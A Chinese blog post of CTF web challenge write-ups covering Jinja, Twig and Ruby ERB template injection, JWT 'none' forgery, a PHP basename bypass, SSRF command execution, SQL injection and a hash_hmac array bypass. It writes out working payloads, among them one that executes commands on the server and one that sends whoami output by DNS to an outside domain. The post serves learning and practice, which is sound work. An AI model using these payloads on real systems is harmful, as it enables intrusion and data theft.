每日一题(五)

Aimerl0 等级 58 0 0

写在前面 继续努力

[CISCN2019 华东南赛区]Double Secret

进来一句话,做题全靠猜

web 题,直接去/secret目录

这句话提到了发送 secret 过去,会有 encrypt加密,get 一个 secret=admin123过去直接进报错,又是 flask

发现可疑的源码泄露点

if(secret==None):
    return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure")   #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
    return 'flag detected!'
return a

分析一下就是对输入的secret采用了 RC4 的加密,密钥是HereIsTreasure

列目录ls /的payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %},需要经过 RC4 加密

不知道为什么试了很多个在线加密的网站,同一个明文同一个密钥,但是加密结果都不同,很怪,直接找脚本了

import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)

发现有flag.txt

cat /flag.txt的payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

拿到 flag

[HFCTF2020]EasyLogin

简单的登录框

注册进来以后是拿 flag 的页面,查看源代码发现有个提示信息,百度 koa 发现是个 js 的框架,也不知道他说的根目录是什么东西,我自己爬

嗯,看了 wp 之后我真的得自己爬了,说要去controllers/api.js页面下看 koa 框架对请求的处理逻辑,个个都说这个是经验,我没有经验,我自己爬

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

虽然没学过 js 但是也能懂大概的意思,就是对每一个路由进来的页面进行逻辑处理

有对 /flag 页面的逻辑处理,需要校验 session 是否为 admin 用户,如果是才能拿到 flag

'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

在注册页面,采用 JWT 方式生成 token

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

所以这题就是考 JWT 伪造 admin 的 token

关于 JWT

认识 JWT

深入了解Json Web Token之实战篇

下面内容选自其中

JWT 的结构

JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:

  • Header
  • Payload
  • Signature

因此,一个典型的JWT看起来是这个样子的:xxxxx.yyyyy.zzzzz,接下来,具体看一下每一部分:

Header 典型的由两部分组成:token 的类型(“JWT”)和算法名称(比如:HMAC SHA256 或者 RSA 等等)。

例如:

然后,用 Base64 对这个 JSON 编码就得到 JWT 的第一部分

Payload

JWT 的第二部分是 payload ,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, publicprivate

  • Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
  • Public claims : 可以随意定义。
  • Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。

下面是一个例子:

payload 进行Base64编码就得到JWT的第二部分

注意,不要在JWT的 payloadHeader 中放置敏感信息,除非它们是加密的。

Signature

为了得到签名部分,你必须有编码过的 Header、编码过的 payload一个秘钥,签名算法是 Header中指定的那个,然对它们签名即可。

例如:HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的 token,它还可以验证 JWT 的发送方是否为它所称的发送方。

一张图总结

JWT 攻击手段

1. 敏感信息泄露

当服务端的秘钥泄密的时候,JWT的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取。

2. 将加密方式改为'none'

下文实战中的 Juice Shop JWT issue 1 便是这个问题。之前谈及过nonsecure JWT的问题。

签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+'.'+ payload +'.')并将其提交给服务器。

解决对策:

不允许出现 none 的方法;

将开启 alg : none 作为一种额外的配置选项。

3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

HS256使用密钥来签名和验证每个消息。而RS256使用私钥对消息进行签名并使用公钥进行认证。

如果将算法从RS256更改为HS256,则后端代码使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此攻击者可以将标头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

此时,后端代码就会使用RSA公钥+HS256算法进行签名验证,从而让验证通过。

解决对策:

不允许 HS256等对称加密 算法读取秘钥。jwtpy就是限制了这种方法。当读取到 类似于 "--- xxx key ---" 的参数的时候应抛出错误;

将秘钥与验证算法相互匹配。

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,则可以直接强制使用,通过爆破 HS256的秘钥可以完成该操作。难度比较低。解决对策很简单,使用复杂的秘钥即可。

5. 错误的堆叠加密+签名验证假设

错误的堆叠加密

这种攻击发生在单个的或者嵌套的JWE中,我们想象一个JWE如下所示:

JWT RAW
    header : ...
    payload: "admin" : false
             "uid"   : 123
             "umail" : 123@126.com
             ...
JWE Main
    protected / unprotected
    recipients:
        en_key : key1
        en_key : key2
    cipher : xxx

在攻击者不修改秘钥的情况下,对于ciphertext进行修改。往往会导致解密的失败。但是,即使是失败,很多JWT的解密也是会有输出的,在没有附加认证数据(ADD)的情况下更是如此。攻击者对于ciphertext的内容进行修改,可能会让其他的数据无法解密,但是只要最后输出的payload中,有“admin":true。 其目的就已经达到了。


回到题目,在登陆处抓包,拿到 JWT 令牌(authorization内容)

网站解码

伪造{"alg":"none","typ":"JWT"}{"secretid": [],"username": "admin","password": "admin123","iat": 1612668531}的 base64 ,用.拼接起来发包

伪造成功

有个地方有点奇怪,base64 出来的=号,放进去会失败,去掉就能成功

放包登录成功,再点 getflag 抓包,拿到 flag

参考文章

刷题[HFCTF2020]EasyLogin

[HFCTF2020]EasyLogin

[HFCTF2020]EasyLogin 记录

[HFCTF2020]EasyLogin -wp

关于 JWT 网站

https://jwt.io/

这题学到很多新东西,舒服了

[Zer0pts2020]Can you guess it?

题目直接给了源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

其中关键部分,告诉了 flag 在 config.php 里面

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$_SERVER['PHP_SELF']是当前正在执行的脚本的文件名

preg_match('/config\.php\/*$/i'是正则匹配是否有以config.php/结尾的字符串

basename($_SERVER['PHP_SELF']),其中basename() 函数返回路径中的文件名部分,配合高亮的highlight_file函数,用来显示源码

如果不以正则结尾,比如/index.php/config.php/abc,可以绕过正则,但是basename()函数的值会变成abc,所以就要找,既能够绕过正则匹配,又不让basename()识别的字符

找资料得到basename()函数的一个问题,它会去掉文件名开始的非 ASCII 值

https://bugs.php.net/bug.php?id=62119

# 测试脚本<?phpfunction check($str){    return preg_match('/config\.php\/*$/i', $str);}for ($i = 0; $i < 255; $i++){    $s = '/index.php/config.php/'.chr($i);    if(!check($s)){        $t = basename('/index.php/config.php/'.chr($i));        echo "${i}: ${t}\n";    }}?>

URL 编码使用 "%" 其后跟随两位的十六进制数来替换非 ASCII 字符

payload:/index.php/config.php/%82?source,拿到 flag

2021.2.9 出去跟朋友宣讲,咕了一天

[BJDCTF2020]Cookie is so stable

hint.php里有提示

flag.php测试{{7*7}}回显 49,确认是模板注入,结合提示,应该 cookie处是注入点

优秀好文

服务端模板注入攻击

{{7*'7'}}参数测试得知是 Twig 的模板注入,文章中给出了 payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

最终 payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

拿到 falg

2021.2.11

大年三十休息了一天,祝看到这篇博客的有缘人新年快乐,心想事成,好运连连!

——C1everF0x

[SCTF2019]Flag Shop

预期解

不会有人想着改前端的东西能骗自己吧,不会吧不会吧,不会那个人就是我吧

F12 中有源码中有前端 JS 的泄露,但是没啥乱用,robots.txt有一个/filebak,进去拿到源码

require 'sinatra'require 'sinatra/cookies'require 'sinatra/json'require 'jwt'require 'securerandom'require 'erb'set :public_folder, File.dirname(__FILE__) + '/static'FLAGPRICE = 1000000000000000000000000000ENV["SECRET"] = SecureRandom.hex(64)configure do  enable :logging  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")  file.sync = true  use Rack::CommonLogger, fileendget "/" do  redirect '/shop', 302endget "/filebak" do  content_type :text  erb IO.binread __FILE__endget "/api/auth" do  payload = { uid: SecureRandom.uuid , jkl: 20}  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'  cookies[:auth] = authendget "/api/info" do  islogin  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})endget "/shop" do  erb :shopendget "/work" do  islogin  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }  auth = auth[0]  unless params[:SECRET].nil?    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")      puts ENV["FLAG"]    end  end  if params[:do] == "#{params[:name][0,7]} is working" then    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'    cookies[:auth] = auth    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result  endendpost "/shop" do  islogin  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }  if auth[0]["jkl"] < FLAGPRICE then    json({title: "error",message: "no enough jkl"})  else    auth << {flag: ENV["FLAG"]}    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'    cookies[:auth] = auth    json({title: "success",message: "jkl is good thing"})  endenddef islogin  if cookies[:auth].nil? then    redirect to('/shop')  endend

又是新东西,直接面向 wp 做题,我自己爬

参考资料

【技术分享】手把手教你如何完成Ruby ERB模板注入

Ruby关键字

关键代码部分存在 ERB 模板注入,当 GET 的doname参数一样且字符数小于 7 个的时候,会输出{params[:name][0,7]} working successfully!

  if params[:do] == "#{params[:name][0,7]} is working" then          auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'    cookies[:auth] = auth    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

另一部分关键代码是当SECRET参数存在,但是值为空时,会与环境变量(ENV)中的SECRET进行正则匹配

  unless params[:SECRET].nil?    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")      puts ENV["FLAG"]    end  end

所以,基于 ruby 的特性:

  1. $',是 ruby 中预定义的一个全局变量,表示最近一次正则匹配结果
  2. <%=语法可以用来执行 Ruby 语句,并会尝试将结果转换为字符串,以附在最终的结果文本中

总结思路就是SECRET参数给空,让后端进行正则匹配,doname的参数为<%=$'%>(这里刚好七个字符,很巧妙),就可以拿到 JWT 的密钥进行 cookie 伪造

payload:/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

拿到密钥

f3ccc772782148b314b4cef0a341a8372e4174a93bb28bf4472aa724fe97dd0dfbf7c31187b3e808ee8a3af4cbd0e8edb324a0728623985720f0f483109ed404

伪造能买到 flag 的 cookie

买 flag 更改 cookie

查看 cookie 拿到 flag

拿到 flag 后去看了 ev0A 师傅的博客,发现有一个非预期解,能够直接 getshell,仔细研究了一下,深入浅出,不愧是大佬的写的博客

HTTP参数传递类型差异产生的攻击面

下面内容出自 ev0A 师傅博文内容

非预期解

例题

我还是决定先从大家最喜欢的 PHP 讲起,请看这一道例题

<?php$flag = "flag";    if (isset ($_GET['ctf'])) {        if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)            echo '必须输入数字才行';        else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)               die('Flag: '.$flag);        else            echo '骚年,继续努力吧啊~';    } ?>

这是 Bugku 的一道题目 相信大部分人都做过,考察的的是 PHP 的弱类型,这里只需要输入?ctf[]=1即可绕过,这就是一个最简单的HTTP传参的类型差异的问题,但是实际中不可能有程序员写出这种无厘头的代码,而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题,所以就在思考,有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢

看文下面这个代码,大家就知道为什么会产生非预期了

$a = "qwertyu"$b = Array["bbb","cc","d"]puts "$a: #{\$a[0,3]}"puts "$b: #{$b[0,3]}"# {}可以想象成 ${} 代表解析里面的变量# [0,3]可以想象成python的[0:3]# 输出结果# [evoA@Sycl0ver]#> ruby test.rb# $a: qwe# $b: ["bbb", "cc", "d"]

这里,可以类PHP中的弱类型,$b变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]

有了这个 trick,上面代码 [0,7] 从原本的限制 7 个字符突然变成了限制 7 个数组长度 emmmmmmm,于是

  • 非预期exp
/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

直接实现了任意命令执行

解释

  • 这就是一个HTTP参数传递类型差异的问题,具体的意思就是,由于语言的松散型,url传参可以传入非字符串以外的其他数据类型,最常见的就是数组,而后端语言没有做校验,并且在某些语法上,字符串和数组存在语法重复,就可以利用这个特性,绕过一些程序逻辑
  • 什么叫语法重复,就是对一个变量进行一些操作,不管变量是数组还是字符串,都可以成功执行并返回。 最常见的就是输出语法,比如echo ,大部分编程语言会把数组转换为字符串。 当然,这并不是什么新鲜的攻击面,只是在之前没多少人系统的归纳这种攻击方式,但我觉得如果能找到一个合适的场合,这种利用方式还是很强大的(比如我的getshell非预期Orz

[HITCON 2017]SSRFme

很明显的 SSRF PHP 代码的题目

<?php    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];    }    echo $_SERVER["REMOTE_ADDR"];    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);    @mkdir($sandbox);    @chdir($sandbox);    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));    $info = pathinfo($_GET["filename"]);    $dir  = str_replace(".", "", basename($info["dirname"]));//删去filename变量中的.以防止目录穿越    @mkdir($dir);    @chdir($dir);    @file_put_contents(basename($info["basename"]), $data);    highlight_file(__FILE__);

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组

explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组

shell_exec通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回, shell_exec(string $cmd)

escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数,escapeshellarg(string $arg)

pathinfo返回一个关联数组包含有 path 的信息。 包括以下的数组元素:

  • [dirname]路径名
  • [basename]文件名
  • [extension]扩展名

总结代码审计的内容,先是创建一个sandbox/"md5(orange"IP地址")的文件夹,然后执行GET $_GET['url'],然后会创建 以参数 filename 的值为名字的文件夹,并将执行GET $_GET['url']后的结果放在该文件夹下面 filename 传过去的文件中

payload:?url=/&filename=aaa,然后在sandbox/"md5(orange"IP地址")目录下访问aaa可以看到根目录下的所有文件内容,发现有个readflag

因为.会被替换成_,所以利用bash -c "cmd string"来执行命令执行 readflag

?url=&filename=bash -c /readflag| 先新建一个名为 “bash -c /readflag|” 的文件,用于之后的命令执行 ?url=file:bash -c /readflag|&filename=aaa 再利用 GET 执行 bash -c /readflag 保存到 aaa 文件 访问sandbox/"md5(orange"IP地址")

拿到 flag

其实感觉应该是要有一台自己的服务器,在自己的服务器上面写个🐎,然后用 url 请求自己的服务器, filename 写🐎的名字,这样就形成了 SSRF 服务器端请求伪造,请求下载了我的🐎,最后用蚁剑连

参考文章

perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)

virink_2019_files_share

进去玩魔方玩了半天发现自己是在做题

源码中有 hint 提示和一个文件上传的路径/uploads

抓包发现有任意文件读的漏洞,并且测试存在过滤,会把/前面的两个字符替换成空,所以../etc/passwd会变成epasswd

双写绕过过滤,然后目录穿越七层,根据提示一直以为是flag_Is_h3re,但是一直弄不出来,去看了 wp 发现还需要加一个/flag,不知道是什么脑回路,拿到 flag

[watevrCTF-2019]Cookie Store

很明显的 cookie 伪造题目,session 里面的东西是一串纯的 base64

修改 money 的值然后重新编码,抓包把伪造的 cookie 放上去,拿到 flag

BUU 过年居然机房故障了,去干 JarvisOJ 的 web 了,记得以前还剩三四题就 ak 了,这回刚好有机会

2020.2.21

BUU 服务器恢复了,开整

[RootersCTF2019]babyWeb

直接把黑名单都说出来了

banned words and characters UNION SLEEP ' " OR - BENCHMARK

随便输入一个,查询语句也告诉了

SELECT * FROM users WHERE uniqueid=1

payload:1 order by 3返回报错,1 order by 2返回正常

过滤了or可以用||来代替,union禁掉了,可以用limit限制返回字段数量

payload:1 || 1=1 limit 1,万能密码,拿到 flag

[羊城杯 2020]Blackcat

点进来听了半天,扫目录也扫不出东西,没什么思路去看了 wp,结果居然是要下载 mp3 下来,winhex 打开里面能看到源码,可能是对应注释里的那句<!--都说听听歌了!-->

源码:

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){    die('谁!竟敢踩我一只耳的尾巴!');} $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor']))    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);  $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');} echo exec("nc".$_POST['One-ear']);

简单读一读逻辑,Black-Cat-SheriffOne-earWhite-cat-monitor三个参数可控,POST 方式提交,clandestine参数的值由getenv函数从环境变量中的clandestine来定,环境变量中clandedtine的值由hash_hmac函数用sha256加密方法加密White-cat-monitor的值得到的哈希字符串来定,hh参数的值由hash_hmac函数用sha256加密方法加密One-ear的值得到,当hh等于Black-Cat-Sheriff时,执行 RCE

hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值

Copyhash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string

众所周知,PHP 是世界上最好的语言,像md5sha256这种加密函数,都是无法解析数组的,当遇到数组的时候,hash_hmac函数会报错并返回NULL,所以,我们的clandestine参数可控为NULL,当White-cat-monitor值传进去为一个数组的时候,函数返回NULL赋值给clandestine,然后本地测试可以控制hh的值,执行 RCE

cat flag.php得到的是原题比赛环境下的 flag,BUU 复现环境下的 flag 是设置成了一个环境变量FLAG,用env命令可以得到,看了 wp 才知道.....

预览图
收藏
评论区
守株待兔
最新文章
openGauss——docker安装 2021-05-02 15:42
openGauss——VMware安装 2021-05-02 15:42
每日一题(七) 2021-05-02 15:38
每日一题(六) 2021-05-02 15:37
每日一题(四) 2021-05-02 15:35
每日一题(三) 2021-05-02 15:35
每日一题(二) 2021-05-02 15:34
每日一题(一) 2021-05-02 15:33
网络渗透测试实验四 2021-05-02 15:29
网络渗透测试实验三 2021-05-02 15:29

导读